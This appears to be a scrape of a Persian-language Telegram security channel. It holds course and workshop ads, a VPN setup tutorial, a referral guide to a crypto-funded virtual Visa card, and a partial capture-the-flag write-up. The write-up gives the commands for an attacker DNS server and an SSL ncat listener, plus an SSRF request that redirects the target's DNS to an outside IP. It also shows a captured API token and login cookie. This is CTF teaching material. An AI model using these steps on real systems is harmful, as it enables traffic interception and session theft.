Please open Telegram to view this post
VIEW IN TELEGRAM
crt.name
crt.name: passive subdomain index
Send an apex domain and get every subdomain on file, plus the date each name first showed up.
❤4
Forwarded from OS Internals (Abolfazl Kazemi)
🚀 دوره‌ی Foundations of Linux Reverse Engineering and Exploitation به صورت کامل منتشر شد!
دوستان سلام؛ تمام محتوای دوره شامل اسلایدها، نمونه‌کدها و مطالب آموزشی، اکنون به‌صورت کامل در گیت‌هاب قرار گرفته است.
این دوره برای آشنایی عمیق با Internal لینوکس، مهندسی معکوس باینری‌ها، آسیب‌پذیری‌ها و تکنیک‌های عملی اکسپلویت طراحی شده است.
📚 در این دوره یاد می‌گیرید:
- درک ساختار داخلی Linux، حافظه، ELF و system callها
- مهندسی معکوس باینری‌های لینوکس با ابزارهای مختلف
- تحلیل آسیب‌پذیری‌های رایج
- نوشتن و تست اکسپلویت
- حل چالش‌های واقعی CTF و ساخت Proof of Concept
🔎 سرفصل‌ها شامل:
- Linux Internals Overview
- Exploitation Fundamentals
- Security Mechanisms and Exploitation Tools
- Solving Narnia Challenges
- Basic x64 Exploitation
- ROP Basics
- ELF Details, GOT, PLT
- Advanced ROP
- CVE-2021-4034
💻 مخزن دوره:
https://github.com/akazemi67/Linux-Exploit-Development-Course
اگر به Linux Exploitation، Reverse Engineering، CTF و امنیت سطح پایین علاقه دارید، این دوره می‌تواند یک مسیر آموزشی کامل و کاربردی برای شما باشد.
نظرات و بازخوردهای شما باعث بهتر شدن ادامه‌ی مسیر خواهد شد 🙌
#linux #exploitdev #ReverseEngineering #Exploitation #CTF #CyberSecurity #Pwntools #ROP #ELF #GDB #Ghidra
دوستان سلام؛ تمام محتوای دوره شامل اسلایدها، نمونه‌کدها و مطالب آموزشی، اکنون به‌صورت کامل در گیت‌هاب قرار گرفته است.
این دوره برای آشنایی عمیق با Internal لینوکس، مهندسی معکوس باینری‌ها، آسیب‌پذیری‌ها و تکنیک‌های عملی اکسپلویت طراحی شده است.
📚 در این دوره یاد می‌گیرید:
- درک ساختار داخلی Linux، حافظه، ELF و system callها
- مهندسی معکوس باینری‌های لینوکس با ابزارهای مختلف
- تحلیل آسیب‌پذیری‌های رایج
- نوشتن و تست اکسپلویت
- حل چالش‌های واقعی CTF و ساخت Proof of Concept
🔎 سرفصل‌ها شامل:
- Linux Internals Overview
- Exploitation Fundamentals
- Security Mechanisms and Exploitation Tools
- Solving Narnia Challenges
- Basic x64 Exploitation
- ROP Basics
- ELF Details, GOT, PLT
- Advanced ROP
- CVE-2021-4034
💻 مخزن دوره:
https://github.com/akazemi67/Linux-Exploit-Development-Course
اگر به Linux Exploitation، Reverse Engineering، CTF و امنیت سطح پایین علاقه دارید، این دوره می‌تواند یک مسیر آموزشی کامل و کاربردی برای شما باشد.
نظرات و بازخوردهای شما باعث بهتر شدن ادامه‌ی مسیر خواهد شد 🙌
#linux #exploitdev #ReverseEngineering #Exploitation #CTF #CyberSecurity #Pwntools #ROP #ELF #GDB #Ghidra
GitHub
GitHub - akazemi67/Linux-Exploit-Development-Course: This course provides a practical introduction to Linux reverse engineering…
This course provides a practical introduction to Linux reverse engineering and exploitation. You’ll learn how Linux binaries work under the hood, how vulnerabilities arise, and how to discover and ...
🔥5❤1
Forwarded from Matin SenPai (᯽マティ️️ン先輩)
1- چطوری با پنل BPB برای خودتون VPN رایگان بسازید
2- روی گوشی و سیستم چطوری ستاپش کنید
3- و برای خودتون و خانوادتون، از یه VPN امن استفاده کنید
ویدئوی آموزش تنظیمات: https://youtu.be/7G9Fjhe_NxM
ویدئوی بالا بردن سرعت آپلود: https://youtu.be/dQKfkXnThCE
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🔥1
Forwarded from Matin SenPai (᯽マティ️️ン先輩)
لینک داشبورد کلودفلر: dash.cloudflare.com
لینک ویزارد تحت وب BPB جهت راه‌اندازی: https://wizard.bpb-panel.workers.dev/
لینک ویزارد تحت وب BPB جهت راه‌اندازی: https://wizard.bpb-panel.workers.dev/
👍3
Forwarded from Matin SenPai (᯽マティ️️ン先輩)
روش پرداخت بین‌المللی و گرفتن Visa Card مجازی
خب دوستان، امروز می‌خوام بهتون یاد بدم چطوری می‌تونید با این وبسایت، برای خودتون ویزا کارت بگیرید:
https://app.mpay.cards?startapp=ref_PzwXZ8 (لینک رفرال هست. می‌تونید آخرش رو پاک کنید اگر دوست نداشتید)
1- بعد از اینکه وارد وبسایت شدید، Next بزنید تا با تصویر اول رو به رو بشید
2- روی Apply بزنید
3- با ایمیلتون لاگین کنید. دقت کنید که تمام هویت کارت‌های اعتباری شما روی این ایمیل هستش
4- بعد از اینکه وارد شدید، با کریپتو 5 دلار پرداخت می‌کنید و کارت برای شما فعال میشه. از USDC و تتر و... هم پشتیبانی می‌کنه. برای آموزش پرداختش با نوبیتکس و...، می‌تونید یوتوب رو بگردید. من خودم با Trust Wallet زدم USDC و مشکلی نبود.
5- تبریک می‌گم، شما Visa card دارید به اسم خودتون!
مزایا:
- می‌تونید توی تمام سایت‌هایی که نیاز به کارت دارن و رایگان، اعتبار خوبی میدن، ثبت نام کنید(من توی Nous Research پلن free رو فعال کردم)
- می‌تونید برای OpenCode و سرویس‌های بین‌المللی، با شارژ کردنش پرداخت داشته باشید(کلاد رو هنوز امتحان نکردم)
- و تمام چیزهایی که سالها از ما گرفته شده و ازش محروم بودیم.
- ایرانیکارت و سایت‌های مشابه، با مبلغ‌های فضایی و میلیونی فعال می‌کنن همین رو. و به نظرم 5 دلار، منصفانه‌ست
معایب:
- برای واریز به حساب، باید اول 25 دلار شارژ کنید اکانت رو و بعدش می‌تونید به کارت منتقل کنید. تنها محدودیتی که بهش خوردم همین بود
✉️ t.me/MatinSenPaii
خب دوستان، امروز می‌خوام بهتون یاد بدم چطوری می‌تونید با این وبسایت، برای خودتون ویزا کارت بگیرید:
https://app.mpay.cards?startapp=ref_PzwXZ8 (لینک رفرال هست. می‌تونید آخرش رو پاک کنید اگر دوست نداشتید)
1- بعد از اینکه وارد وبسایت شدید، Next بزنید تا با تصویر اول رو به رو بشید
2- روی Apply بزنید
3- با ایمیلتون لاگین کنید. دقت کنید که تمام هویت کارت‌های اعتباری شما روی این ایمیل هستش
4- بعد از اینکه وارد شدید، با کریپتو 5 دلار پرداخت می‌کنید و کارت برای شما فعال میشه. از USDC و تتر و... هم پشتیبانی می‌کنه. برای آموزش پرداختش با نوبیتکس و...، می‌تونید یوتوب رو بگردید. من خودم با Trust Wallet زدم USDC و مشکلی نبود.
5- تبریک می‌گم، شما Visa card دارید به اسم خودتون!
مزایا:
- می‌تونید توی تمام سایت‌هایی که نیاز به کارت دارن و رایگان، اعتبار خوبی میدن، ثبت نام کنید(من توی Nous Research پلن free رو فعال کردم)
- می‌تونید برای OpenCode و سرویس‌های بین‌المللی، با شارژ کردنش پرداخت داشته باشید(کلاد رو هنوز امتحان نکردم)
- و تمام چیزهایی که سالها از ما گرفته شده و ازش محروم بودیم.
- ایرانیکارت و سایت‌های مشابه، با مبلغ‌های فضایی و میلیونی فعال می‌کنن همین رو. و به نظرم 5 دلار، منصفانه‌ست
معایب:
- برای واریز به حساب، باید اول 25 دلار شارژ کنید اکانت رو و بعدش می‌تونید به کارت منتقل کنید. تنها محدودیتی که بهش خوردم همین بود
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
ویزا کارت بسازید برای خودتون پرداخت های بین المللی راحت انجام بدید البته یکسری از سایت ها نمیشه
❤3
Forwarded from PentesterLand Academy - Public
برای اولین بار بنا به درخواست فراوانی که در این چهار سال داشتیم که کارگاه هایی برگذار شود که به صورت تخصصی فقط به یک بخش خاص اشاره شود و کوتاه باشد
و اولین کارگاه با اسیب پذیری مورد علاقه خودم شروع خواهد شد :
Bypass Authentication
بی راه نیست اگه بگم ۳۰ درصد کل بانتی دو سال اخیر من با این تایپ حمله بوده
Bypass Authentication
1. 5 شهریور :جلسه شروع و درک این اسیب پذیری به همراه حل مثال ها فراوان
۲. ۱۲ شهریور:بررسی عمیق این اسیب پذیری از دید تجربه و مثال ها متنوع که منجر به زیروکلیک و وان کلیک اکانت تیک اور خواهد شد
۳. ۱۹ شهریور: استفاده از دانش کسب شده برای کار روی تارگت ها واقعی
برای ثبت نام میتوانید از لینک زیر استفاده کنید:
https://www.instagram.com/stories/pentesterland/3971393261971578538?utm_source=ig_story_item_share&igsi=NTZpZDU0ZHd4cTY1
و اولین کارگاه با اسیب پذیری مورد علاقه خودم شروع خواهد شد :
Bypass Authentication
بی راه نیست اگه بگم ۳۰ درصد کل بانتی دو سال اخیر من با این تایپ حمله بوده
Bypass Authentication
1. 5 شهریور :جلسه شروع و درک این اسیب پذیری به همراه حل مثال ها فراوان
۲. ۱۲ شهریور:بررسی عمیق این اسیب پذیری از دید تجربه و مثال ها متنوع که منجر به زیروکلیک و وان کلیک اکانت تیک اور خواهد شد
۳. ۱۹ شهریور: استفاده از دانش کسب شده برای کار روی تارگت ها واقعی
برای ثبت نام میتوانید از لینک زیر استفاده کنید:
https://www.instagram.com/stories/pentesterland/3971393261971578538?utm_source=ig_story_item_share&igsi=NTZpZDU0ZHd4cTY1
❤6👍2
Forwarded from PentesterLand Academy - Public
https://www.instagram.com/reel/DcmBr6sNDWh/?igsi=dGRkcjd6ZnA2M2pu
دیدیش چطور بود؟ پی او سی شو پابلیک کنم اینجا؟ نظرتو کامنت کن زیر خود پست😁❤️
دیدیش چطور بود؟ پی او سی شو پابلیک کنم اینجا؟ نظرتو کامنت کن زیر خود پست😁❤️
❤5
این PoC مربوط به یک CVE در وردپرس است. برای دوستانی که پس از شناسایی CVE نمی‌دانند چگونه باعث آسیب‌پذیری می‌شود، حتماً این ویدیو را مشاهده کنید:
https://youtu.be/k3d9UgYyK9o?si=uoTCjB8xcLk07Qe7
https://youtu.be/k3d9UgYyK9o?si=uoTCjB8xcLk07Qe7
❤6
Forwarded from Nima Mollaei
سلام رفقا
تصمیم گرفتم که اموزش اسیب پذیری هارو شروع کنم
تو سری اول اموزش میریم سراغ اسیب پذیری SQLi با عنوان SQLi 0 to master
تو پارت اول رفتیم سراغ پیش نیاز هایی که باید بلد باشیم
امید وارم این دوره مفید باشه براتون ❤️
https://youtu.be/ZW6OVWRY5-M
تصمیم گرفتم که اموزش اسیب پذیری هارو شروع کنم
تو سری اول اموزش میریم سراغ اسیب پذیری SQLi با عنوان SQLi 0 to master
تو پارت اول رفتیم سراغ پیش نیاز هایی که باید بلد باشیم
امید وارم این دوره مفید باشه براتون ❤️
https://youtu.be/ZW6OVWRY5-M
YouTube
آموزش SQL Injection از صفر تا مستر | قسمت 1 - آشنایی با SQL بخش اول
در این قسمت با پایه‌های SQL و MySQL آشنا می‌شیم و یاد می‌گیریم چطور دیتابیس بسازیم، باهاش کار کنیم و عملیات پایه‌ی CRUD رو روش انجام بدیم؛ پیش‌نیازی ضروری قبل از ورود به SQL Injection.
━━━━━━━━━━━━━━━━━━━━━━━━━━
📌 مطالب این قسمت :
━━━━━━━━━━━━━━━━━━━━━━━━━━…
━━━━━━━━━━━━━━━━━━━━━━━━━━
📌 مطالب این قسمت :
━━━━━━━━━━━━━━━━━━━━━━━━━━…
❤8
من جدا از بحث بقیه اساتیدی که دوره برگزار می‌کنن، این حرف رو کاملاً از طرف خودم می‌زنم.
من خودم تا الان فقط توی یه دوره شرکت کردم و اونم دوره منتورینگ استاد رضا شریف‌زاده بوده.
واقعاً جدا از اینکه خود دوره خیلی خوب و کاربردیه، خود رضا هم از نظر پشتیبانی واقعاً عالیه و همیشه سعی می‌کنه کمک کنه.
ولی به نظرم یکی از بهترین و خاص‌ترین بخش‌های این دوره، لایو هانت‌های رضاست. واقعاً به نظرم بی‌نظیره. من خودم خیلی از این لایو هانت‌ها استفاده کردم و تجربه‌های خیلی خوبی ازشون به دست آوردم.
خود رضا هم واقعاً کارش درسته و چیزی که آموزش می‌ده رو خودش توی عمل انجام می‌ده.
من وقتی شروع کردم، واقعاً کسی نبود که درست راهنماییم کنه یا یه مسیر خوب بهم نشون بده. خیلی با سختی و آزمون‌وخطا جلو رفتم تا بالاخره تونستم مسیرم رو پیدا کنم.
برای همین این رو می‌ذارم، شاید کسی مثل من اول راه سردرگم باشه و بتونم حداقل یه مسیر خوب بهش معرفی کنم.
رضا، واقعاً کارت درسته ❤️
https://t.me/safe_mode01
من خودم تا الان فقط توی یه دوره شرکت کردم و اونم دوره منتورینگ استاد رضا شریف‌زاده بوده.
واقعاً جدا از اینکه خود دوره خیلی خوب و کاربردیه، خود رضا هم از نظر پشتیبانی واقعاً عالیه و همیشه سعی می‌کنه کمک کنه.
ولی به نظرم یکی از بهترین و خاص‌ترین بخش‌های این دوره، لایو هانت‌های رضاست. واقعاً به نظرم بی‌نظیره. من خودم خیلی از این لایو هانت‌ها استفاده کردم و تجربه‌های خیلی خوبی ازشون به دست آوردم.
خود رضا هم واقعاً کارش درسته و چیزی که آموزش می‌ده رو خودش توی عمل انجام می‌ده.
من وقتی شروع کردم، واقعاً کسی نبود که درست راهنماییم کنه یا یه مسیر خوب بهم نشون بده. خیلی با سختی و آزمون‌وخطا جلو رفتم تا بالاخره تونستم مسیرم رو پیدا کنم.
برای همین این رو می‌ذارم، شاید کسی مثل من اول راه سردرگم باشه و بتونم حداقل یه مسیر خوب بهش معرفی کنم.
رضا، واقعاً کارت درسته ❤️
https://t.me/safe_mode01
❤22
Forwarded from RadvanSec (Zoly)
سلام دوستان اقا چند وقت پیش داشتم درباره آسیب پذیری open redirect می خوندم.
یهو به ذهنم رسید شروع کنم به ساختن lab های لول بندی شده (php) که بهتر بتونم این باگو درک کنم.
از لول ۱ تا ۱۰ لول بندی کردم از آسان به سخت.
و به شما یاد می ده چجوری با استفاده از open redirect به SSRF , XSS , CRLF , OAuth Token theft برسید.
تمام level هارو بر اساس چیزای که توی real world بوده طراحی کردم.
سورس کد هر لول هم در دسترس هست و حتا راهنما هایی هم وجود داره.
دوس داستید یه سر بزنید و علم خودتونو محک بزنید.
https://github.com/zoly-zoly/Open-Redirect-Lab
یهو به ذهنم رسید شروع کنم به ساختن lab های لول بندی شده (php) که بهتر بتونم این باگو درک کنم.
از لول ۱ تا ۱۰ لول بندی کردم از آسان به سخت.
و به شما یاد می ده چجوری با استفاده از open redirect به SSRF , XSS , CRLF , OAuth Token theft برسید.
تمام level هارو بر اساس چیزای که توی real world بوده طراحی کردم.
سورس کد هر لول هم در دسترس هست و حتا راهنما هایی هم وجود داره.
دوس داستید یه سر بزنید و علم خودتونو محک بزنید.
https://github.com/zoly-zoly/Open-Redirect-Lab
❤9
Forwarded from NSEs (A)
S').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157
بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.
https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
❤8